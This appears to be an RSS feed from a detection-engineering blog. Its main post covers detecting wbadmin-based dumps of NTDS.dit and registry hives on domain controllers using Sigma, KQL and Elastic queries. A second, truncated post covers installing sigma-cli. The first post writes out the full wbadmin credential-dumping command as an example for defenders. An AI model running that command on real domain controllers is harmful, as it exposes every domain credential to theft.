<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Security-in-bits</title><description>AI-assisted, human-validated detection engineering and threat hunting, proven on real lab telemetry. Ransomware and RMM abuse in KQL, ES|QL and Sigma.</description><link>https://www.securityinbits.com/</link><item><title>wbadmin NTDS.dit dump detection for Domain Controllers</title><link>https://www.securityinbits.com/detection-engineering/wbadmin-ntds-dit-dump-detection/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1481</guid><description>wbadmin NTDS.dit dump detection for DCs using Sigma, MDE KQL, and Elastic plus fast triage with Backup logs.</description><pubDate>Sat, 03 Jan 2026 09:20:01 GMT</pubDate><content:encoded>
&lt;p&gt;When &lt;code&gt;wbadmin.exe&lt;/code&gt; is used to back up &lt;strong&gt;NTDS.dit + registry hives&lt;/strong&gt;, treat it as &lt;strong&gt;credential access&lt;/strong&gt;, not routine IT backup. This post is for &lt;strong&gt;Elastic + Sigma + Windows logs&lt;/strong&gt; and focuses on &lt;strong&gt;wbadmin NTDS.dit dump detection&lt;/strong&gt; you can validate end-to-end in a lab.&lt;/p&gt;
&lt;p&gt;You will: spot the command, confirm artifacts on disk, and alert in MDE/Elastic with Sigma-derived logic. 🔎&lt;/p&gt;

&lt;h2 id=&quot;why-this-matters&quot;&gt;Why this matters&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;wbadmin.exe&lt;/code&gt; can create VSS backups of files that are normally locked, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C:\Windows\NTDS\ntds.dit&lt;/strong&gt; (AD database)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SYSTEM&lt;/strong&gt; and &lt;strong&gt;SECURITY&lt;/strong&gt; hives (needed for offline credential)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The signal is in &lt;strong&gt;what is included&lt;/strong&gt; and &lt;strong&gt;where the backup is written&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;step-1-the-wbadmin-pattern-to-watch&quot;&gt;Step 1: The wbadmin pattern to watch&lt;/h2&gt;
&lt;p&gt;Attackers commonly run a one-time backup and write output to a convenient local path via a loopback UNC.&lt;/p&gt;

&lt;h3 id=&quot;executed-command&quot;&gt;Executed command&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include&quot;:C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY&quot; -quiet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What to notice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-include&lt;/code&gt; targets &lt;strong&gt;NTDS.dit&lt;/strong&gt; and &lt;strong&gt;SYSTEM/SECURITY&lt;/strong&gt;. That is the high-signal part.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-backuptarget:\\127.0.0.1\C$\ProgramData\&lt;/code&gt; writes to the local C: drive through an admin share (easy staging). ⚠️&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;example-output&quot;&gt;Example output&lt;/h4&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Wb-Admin-Output.png&quot;&gt;&lt;img alt=&quot;wbadmin Admin Output&quot; decoding=&quot;async&quot; height=&quot;656&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1342px) 100vw, 1342px&quot; src=&quot;/wp-content/uploads/2026/01/Wb-Admin-Output.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Wb-Admin-Output.png 1342w, /wp-content/uploads/2026/01/Wb-Admin-Output-300x147.png 300w, /wp-content/uploads/2026/01/Wb-Admin-Output-1024x501.png 1024w, /wp-content/uploads/2026/01/Wb-Admin-Output-768x375.png 768w&quot; width=&quot;1342&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;wbadmin Admin Output&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;step-2-confirm-the-backup-artifacts-on-disk&quot;&gt;Step 2: Confirm the backup artifacts on disk&lt;/h2&gt;
&lt;p&gt;Use filesystem artifacts to confirm the alert is real and to find what needs containment. This dir structure may be already removed by the attacker.&lt;/p&gt;



&lt;h3 id=&quot;dir-structure&quot;&gt;Dir structure&lt;/h3&gt;
&lt;p&gt;After dump this is how it looks like&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Dir-Structure-After-Dumping.png&quot;&gt;&lt;img alt=&quot;Dir Structure After Dumping&quot; decoding=&quot;async&quot; height=&quot;617&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1077px) 100vw, 1077px&quot; src=&quot;/wp-content/uploads/2026/01/Dir-Structure-After-Dumping.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Dir-Structure-After-Dumping.png 1077w, /wp-content/uploads/2026/01/Dir-Structure-After-Dumping-300x172.png 300w, /wp-content/uploads/2026/01/Dir-Structure-After-Dumping-1024x587.png 1024w, /wp-content/uploads/2026/01/Dir-Structure-After-Dumping-768x440.png 768w&quot; width=&quot;1077&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Dir Structure After Dumping&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Look for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New backup directory created under the target path.&lt;/li&gt;
&lt;li&gt;Backup container VHDX files with timestamps matching the wbadmin execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;step-3-validate-the-copied-files-mount-the-container&quot;&gt;Step 3: Validate the copied files (mount the container)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;After mounting vhdx files&lt;/strong&gt;&lt;br/&gt;
vhdx file will contain the files included in the backup&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Vhdx-Dir-Structure.png&quot;&gt;&lt;img alt=&quot;Vhdx Dir Structure&quot; decoding=&quot;async&quot; height=&quot;202&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 486px) 100vw, 486px&quot; src=&quot;/wp-content/uploads/2026/01/Vhdx-Dir-Structure.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Vhdx-Dir-Structure.png 486w, /wp-content/uploads/2026/01/Vhdx-Dir-Structure-300x125.png 300w&quot; width=&quot;486&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Vhdx Dir Structure&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;If NTDS/hives are missing after mounting, the job likely failed or you mounted the wrong container. Use backup logs below to confirm.&lt;/p&gt;

&lt;h2 id=&quot;step-4-correlate-with-windows-backup-logs&quot;&gt;Step 4: Correlate with Windows Backup logs&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Backup logs tell you whether the job completed and can help you scope impact fast.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;event-viewer-logs&quot;&gt;Event Viewer Logs&lt;/h3&gt;
&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Event-Viewer-Backup-Logs.png&quot;&gt;&lt;img alt=&quot;Event Viewer Backup Logs&quot; decoding=&quot;async&quot; height=&quot;484&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1482px) 100vw, 1482px&quot; src=&quot;/wp-content/uploads/2026/01/Event-Viewer-Backup-Logs.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Event-Viewer-Backup-Logs.png 1482w, /wp-content/uploads/2026/01/Event-Viewer-Backup-Logs-300x98.png 300w, /wp-content/uploads/2026/01/Event-Viewer-Backup-Logs-1024x334.png 1024w, /wp-content/uploads/2026/01/Event-Viewer-Backup-Logs-768x251.png 768w&quot; width=&quot;1482&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Event Viewer Backup Logs&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Get the logs about backup operation from Microsoft-Windows-Backup&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-WinEvent -FilterHashtable @{
  LogName   = &apos;Microsoft-Windows-Backup&apos;
  Id        = 1,4,5,14   # 1=Started, 4=Success, 5=Failure, 14=Completed
  StartTime = (Get-Date).AddHours(-1.5)
} | Sort-Object TimeCreated |
Format-Table TimeCreated, Id, LevelDisplayName, Message -Wrap
&lt;/code&gt;&lt;/pre&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Get-Winevent-Output.png&quot;&gt;&lt;img alt=&quot;Get Winevent Output&quot; decoding=&quot;async&quot; height=&quot;382&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1258px) 100vw, 1258px&quot; src=&quot;/wp-content/uploads/2026/01/Get-Winevent-Output.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Get-Winevent-Output.png 1258w, /wp-content/uploads/2026/01/Get-Winevent-Output-300x91.png 300w, /wp-content/uploads/2026/01/Get-Winevent-Output-1024x311.png 1024w, /wp-content/uploads/2026/01/Get-Winevent-Output-768x233.png 768w&quot; width=&quot;1258&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Get Winevent Output&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;What you want:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;start&lt;/strong&gt; event near the wbadmin process time.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;completed/success&lt;/strong&gt; event if a usable copy exists on disk.&lt;/li&gt;
&lt;li&gt;Any &lt;strong&gt;failure&lt;/strong&gt; details (permissions, target path, missing components).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;step-5-detections-sigma-mde-elastic&quot;&gt;Step 5: Detections (Sigma, MDE, Elastic)&lt;/h2&gt;
&lt;p&gt;Upstream Sigma already covers this pattern (wbadmin NTDS.dit dump detection). Use it as a baseline, then tune around maintenance windows and known backup accounts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sigma Alert in Kibana&lt;/strong&gt;&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process.png&quot;&gt;&lt;img alt=&quot;Sigma Alert For Wbadmin Process&quot; decoding=&quot;async&quot; height=&quot;320&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1507px) 100vw, 1507px&quot; src=&quot;/wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process.png 1507w, /wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process-300x64.png 300w, /wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process-1024x217.png 1024w, /wp-content/uploads/2026/01/Sigma-Alert-For-Wbadmin-Process-768x163.png 768w&quot; width=&quot;1507&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Alert For Wbadmin Process&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Elastic Process Tree&lt;/strong&gt;&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2026/01/Sigma-Rule-Process-Tree.png&quot;&gt;&lt;img alt=&quot;Sigma Rule Process Tree&quot; decoding=&quot;async&quot; height=&quot;577&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1274px) 100vw, 1274px&quot; src=&quot;/wp-content/uploads/2026/01/Sigma-Rule-Process-Tree.png&quot; srcset=&quot;/wp-content/uploads/2026/01/Sigma-Rule-Process-Tree.png 1274w, /wp-content/uploads/2026/01/Sigma-Rule-Process-Tree-300x136.png 300w, /wp-content/uploads/2026/01/Sigma-Rule-Process-Tree-1024x464.png 1024w, /wp-content/uploads/2026/01/Sigma-Rule-Process-Tree-768x348.png 768w&quot; width=&quot;1274&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Rule Process Tree&lt;/figcaption&gt;&lt;/figure&gt;

&lt;blockquote&gt;
&lt;p&gt;Practical tuning&lt;br/&gt;
Prioritize alerts where &lt;code&gt;ProcessCommandLine&lt;/code&gt; also contains admin shares (for example &lt;code&gt;\\127.0.0.1\C$\&lt;/code&gt;) or unusual backup targets. Suppress only after baselining normal backup tooling on DCs.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;siem-detections&quot;&gt;SIEM Detections&lt;/h2&gt;
&lt;p&gt;These queries were generated by converting the Sigma rule with &lt;strong&gt;pySigma backends.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;sensitive-file-dump-via-wbadmin-exe&quot;&gt;Sensitive File Dump Via Wbadmin.EXE&lt;/h3&gt;
&lt;p&gt;Detects the dump of highly sensitive files such as “NTDS.DIT” and “SECURITY” hive. Attackers can leverage the “wbadmin” utility in order to dump sensitive files that might contain credential or sensitive information.&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;wbadmin.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessVersionInfoOriginalFileName =~ &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;WBADMIN.EXE&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;backup&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;SAM&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;SECURITY&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;SYSTEM&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;Windows&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;NTDS&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;NTDS.dit&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;(process.executable:*\\wbadmin.exe OR process.pe.original_file_name:WBADMIN.EXE) AND (process.command_line:(*start* OR *backup*)) AND (process.command_line:(*\\config\\SAM* OR *\\config\\SECURITY* OR *\\config\\SYSTEM* OR *\\Windows\\NTDS\\NTDS.dit*))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://x.com/frack113&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@frack113&lt;/a&gt; and &lt;a href=&quot;https://x.com/nas_bench&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@nas_bench&lt;/a&gt; for publishing the awesome Sigma rules and helping the community.&lt;/p&gt;

&lt;h2 id=&quot;triage-checklist&quot;&gt;Triage checklist&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Who ran it (user, logon type, remote session)?&lt;/li&gt;
&lt;li&gt;Did backup logs show &lt;strong&gt;success&lt;/strong&gt; (a real copy likely exists)?&lt;/li&gt;
&lt;li&gt;What is the backup target path and what files were written there?&lt;/li&gt;
&lt;li&gt;Any follow-on activity touching the backup path (archive tools, outbound transfers, remote tooling)?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;✅ If the job completed and this activity is not expected, escalate as probable domain compromise.&lt;/p&gt;

&lt;h2 id=&quot;further-reading-same-stack&quot;&gt;Further reading (same stack)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/detection-engineering/sigma-rules-elasticsearch/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;How to set up Sigma rules for Elasticsearch SIEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/detection-engineering/lsass-dump-comsvcs-rundll32/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;LSASS Dump via comsvcs.dll: Defender Detection Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/detection-engineering/nltest-whoami-net-discovery/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Discovery using nltest, net and whoami&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;known-in-the-wild-incidents&quot;&gt;Known in-the-wild incidents&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source Title&lt;/th&gt;
&lt;th&gt;Source (with link)&lt;/th&gt;
&lt;th&gt;Publish Date&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Technical Advisory: SonicWall Targeted by Ransomware Group&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.bitdefender.com/en-us/blog/businessinsights/technical-advisory-ransomware-group-targets-sonicwall&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Bitdefender&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;7 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Undisclosed SonicWall Zero Day Leading to Akira Ransomware&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.esentire.com/security-advisories/undisclosed-sonicwall-zero-day-leading-to-akira-ransomware&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;eSentire&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The Exploitation of SonicWall SSL VPNs&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.huntress.com/blog/exploitation-of-sonicwall-vpn&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Huntress&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;4 Aug, 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Detects the dump of highly sensitive files such as “NTDS.DIT” and “SECURITY” hive.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Wbadmin | LOLBAS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira – The DFIR Report&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;wbadmin start backup | Microsoft Learn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1003/003/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;OS Credential Dumping: NTDS (T1003.003) | MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>credential-access</category><category>detection-engineering</category><category>threat-hunting</category><category>elasticsearch</category><category>ntds</category><category>sigma-rules</category><category>t1003-003</category><category>wbadmin</category></item><item><title>How to set up Sigma rules for Elasticsearch SIEM</title><link>https://www.securityinbits.com/detection-engineering/sigma-rules-elasticsearch/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1456</guid><description>End-to-end workflow to convert Sigma rules into Elasticsearch SIEM detection rules using sigma-cli, Elasticsearch backend, and Kibana NDJSON imports.</description><pubDate>Sun, 23 Nov 2025 03:06:28 GMT</pubDate><content:encoded>
&lt;p&gt;Got a fresh Sigma release and an Elasticsearch lab, but no clear path from Sigma YAML rules to detection rules in Elasticsearch SIEM? This guide shows how to set up sigma rules for Elasticsearch SIEM so you can turn community content into Elastic Security rules you can actually run.&lt;/p&gt;
&lt;p&gt;We will stay focused on Elastic Security with Windows telemetry mapped to ECS, using &lt;code&gt;sigma-cli&lt;/code&gt;, the Elasticsearch backend plugin, and the official Sigma rule packages.&lt;/p&gt;
&lt;p&gt;By the end of this guide you will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install &lt;code&gt;sigma-cli&lt;/code&gt; with either &lt;code&gt;pip&lt;/code&gt; or &lt;code&gt;uv&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Install the Elasticsearch backend plugin so &lt;code&gt;sigma-cli&lt;/code&gt; can output lucene&lt;/li&gt;
&lt;li&gt;Download Sigma rules from the latest GitHub release&lt;/li&gt;
&lt;li&gt;Convert Windows and Emerging Threats rules into Kibana compatible NDJSON&lt;/li&gt;
&lt;li&gt;Import all generated rules into Kibana Detection rules in one go&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The official Sigma &lt;a href=&quot;https://sigmahq.io/docs/guide/getting-started.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Getting Started | Sigma Detection Format&lt;/a&gt; guide walks through a Splunk focused example. If you want a Splunk specific setup, follow that article. In this post we will do the same pipeline for Elasticsearch (lucene).&lt;/p&gt;
&lt;p&gt;If you want to see how these Sigma based detections look for concrete techniques, check out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/detection-engineering/lsass-dump-comsvcs-rundll32/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;LSASS Dump via comsvcs.dll: Defender Detection Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/detection-engineering/nltest-whoami-net-discovery/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Discovery using nltest, net and whoami&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;1-install-sigma-cli&quot;&gt;1. Install sigma-cli&lt;/h2&gt;
&lt;p&gt;You can install &lt;code&gt;sigma-cli&lt;/code&gt; in two ways, depending on whether you use &lt;code&gt;uv&lt;/code&gt; in your environment or not.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sigma-cli&lt;/code&gt; is the command line interface built on top of &lt;code&gt;pySigma&lt;/code&gt;, the Python library that parses and converts Sigma rules into backend specific queries.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Without uv&lt;/strong&gt; (standard way)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip3 install sigma-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Using uv&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv tool install sigma-cli --with pip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you install with &lt;code&gt;uv tool install&lt;/code&gt;, &lt;code&gt;sigma-cli&lt;/code&gt; is available on your PATH while still being managed in an isolated environment, which is useful on lab boxes where you do not want to pollute the system Python. ⚙️&lt;/p&gt;

&lt;h2 id=&quot;2-install-the-elasticsearch-backend-plugin&quot;&gt;2. Install the Elasticsearch backend plugin&lt;/h2&gt;
